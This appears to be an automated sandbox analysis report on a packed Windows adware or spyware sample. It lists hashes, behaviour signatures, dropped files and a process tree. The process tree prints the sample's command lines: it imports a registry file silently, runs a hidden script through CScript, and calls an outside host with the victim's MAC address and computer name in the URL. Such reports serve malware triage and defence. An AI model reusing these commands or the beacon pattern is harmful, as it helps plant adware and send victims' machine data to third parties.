Overview

overview

7

Static

static

7

c94edec63a...18.exe

windows7-x64

7

c94edec63a...18.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/08/2024, 17:46

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c94edec63a3c932df38e954b961b11f8_JaffaCakes118.exe

  • Size

    192KB

  • MD5

    c94edec63a3c932df38e954b961b11f8

  • SHA1

    f868c1d8ef4f9bd03857146f900a00262b8cbf9a

  • SHA256

    599773f20bdf1fb9e692e82714c36355eadf345907bda66cadfcb8e25a0be902

  • SHA512

    234ae37a9650889a80e4815025bca9978e000c984397420bd3cc2f6aa6c842bcd487e74721f3845562e7a2f9952bba9de0a75d32a85983d5cb3eeb494f1d9a0b

  • SSDEEP

    3072:f0ENLX2tm4mjyIO+kIHrErlOBUY/PNAh:fMIO+NrsM

Score
7/10
discoveryupx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 41 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c94edec63a3c932df38e954b961b11f8_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\c94edec63a3c932df38e954b961b11f8_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3924
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2276
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s "C:\Program Files\Common Files\tk.reg"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Runs .reg file with regedit
        PID:3044
    • C:\Windows\SysWOW64\Cmd.exe
      Cmd.exe /c CScript /nologo "C:\Program Files\pack.wsf" "C:\Program Files\1_tohorbigs.rggyg" >> "C:\Program Files\tohorbigs.rggyg"
      2⤵
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\SysWOW64\cscript.exe
        CScript /nologo "C:\Program Files\pack.wsf" "C:\Program Files\1_tohorbigs.rggyg"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4984
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\SysWow64\WScript.exe" "C:\Program Files\tohorbigs.rggyg"
      2⤵
      • Checks computer location settings
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3300
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.58lala.com/?bymf
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1408
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1408 CREDAT:17410 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2256
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1408 CREDAT:17416 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:3472
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www1.4728.net/setuptj.asp?a_ip=&a_mac=C6:15:37:EC:8B:44&a_cpname=ERHQJVYQ&a_user=bymf&a_locip=0.0.0.0
      2⤵
      • Modifies Internet Explorer settings
      PID:3004
    • \??\c:\windows\SysWOW64\wscript.exe
      c:\windows\system32\wscript.exe C:\Users\Admin\AppData\Local\Temp\Killme.vbs
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:1880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Program Files\1_tohorbigs.rggyg
    Filesize

    51KB

    MD5

    7142e8eb9a1588667b8b94731ab5e9af

    SHA1

    02c4c0df4225b33018ba36d9849a29cdbc44488d

    SHA256

    6467dea012dfc5e38c92871ead5e4a358a67e8cca9d68a177a75cb656c79c9ec

    SHA512

    941c50a05c5ad095e3dc775348a0c25d94128092f4e59ede9e77b5745edbc69d354a0f91f68e6f265b4ec086f0b07bf7e654aed0512f504cc49c2e5b372086af

    Download Submit

  • C:\Program Files\Common Files\tk.reg
    Filesize

    4KB

    MD5

    7b121bf5d767794b6610c95f06e29a04

    SHA1

    d4693b170eda37adc7cbc68b64b23513d53d1e7d

    SHA256

    47e0457dc038bf82e839ed8d775ae718bd815a2095ad35598b23a1b210b51a60

    SHA512

    f65f49d6d798cb05afe821f98bf1aa49c3dc4269325200abe5e02dbd1a55ca90ebea4cccc08e745767b6fd853a9696bc5055fa89a2973014c66ddd1118cc2d5e

    Download Submit

  • C:\Program Files\pack.wsf
    Filesize

    8KB

    MD5

    a83fdf4f29a7e978d33eeb3674df531b

    SHA1

    60ea7b41816bc2044a6224e38352e56667d3d5ed

    SHA256

    f85f16fb946e6b4d7ef4f6523276a52b4a68d04bdf340312adc2ccdef4cee845

    SHA512

    7ad293f3032054c7e55e89a558dde1e4465c31c1c9fd612e3f56fc209b40826af5273fe140273cf467a96dcda805f13844fa6244cbe2e113bfcf131117acdbd0

    Download Submit

  • C:\Program Files\tohorbigs.rggyg
    Filesize

    40KB

    MD5

    42e1a78951f4fc7b6b584ad1bd172792

    SHA1

    0aff9d4fb957b5607c506f2920ff248e1667bf47

    SHA256

    131053ddf6c038d592703f4429064b4f696e4182b2bb4bda164ad469a938ad26

    SHA512

    de426b5917c383a67b14a9279e9051f6db8c419698a71a2bf92e1e77cbc94b226caecef7e07877011eb87b2b04af7a4d1f256894cac24ddcba60530afb9b6d1c

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NUB8HZ4Z\suggestions[1].en-US
    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\Killme.vbs
    Filesize

    289B

    MD5

    002077d60cba2c69c59a247eba5f8576

    SHA1

    1186fa70a16aaf5f6627c786303116da4c88b0f3

    SHA256

    e44e2eb41c899608c6efdc96c4c6ab7f51251a5e9f3f27f28fdd113101fcfc1f

    SHA512

    ece01ae876693bc814a547791ce5dca4e9c1eb7a2c8bed913b36c01ceb5c94fbd93f63361bd0aff3e9cea983a9a7d86fdc32c4fcfee356041fb7eb1b0a5901d8

    Download Submit

  • C:\Windows\My.ini
    Filesize

    303B

    MD5

    c60733bafb88b793adb341777e794184

    SHA1

    8d4bc53629cb7711b0c3d1efdde0bdc36b0330aa

    SHA256

    b7b110a6b887a2a44b5cc3eec1429c54c2032a9dc2a56180c558794e2183b41f

    SHA512

    246d99b0d1b8aa4b1bb12faa555dc93a672f542a2725b7a581e4f28aa5feae6437ed60b32300d7b3236305a085fef0b3e139e08c449691c787be27f2b3d5d83f

    Download Submit

  • C:\Windows\My.ini
    Filesize

    96B

    MD5

    0a54af3e006b218c97420df6ac021c82

    SHA1

    dc64b4ec3d34c940c68df914396b772dd7ac794d

    SHA256

    ae6ec53b43d2cee111d32d50701affbd4223d69ba042df6f8b52abf8e9b2ad29

    SHA512

    d1793ea33e0db4b8cfd6305777c075a23acb5c836c59c8174263353dc4d747e04f14260fd0333cdcf64ba87fc42687191782117afda1cecfb4ccb6caa3cb439b

    Download Submit

  • \??\c:\about blank.htm
    Filesize

    78B

    MD5

    92d7f7e06dfac29bf36a63aed9d90da5

    SHA1

    97fd3f7bc9c1f751704bcd62ddf22ef1efe37852

    SHA256

    ba9b73d3f41635ddc86186161fe00f98cd28fa93642137d7599d3ecb88d1a92c

    SHA512

    bbf504c48d0474deb8f1c2af97e20b8f6dfab8b8b62fc46e82e2754337208fa875ccd3d77dafb6a5c3ceb2fbe38d3de4eb9fc0fb891289ba048426aaece3fecf

    Download Submit

  • memory/3924-0-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

    Download

  • memory/3924-36-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

    Download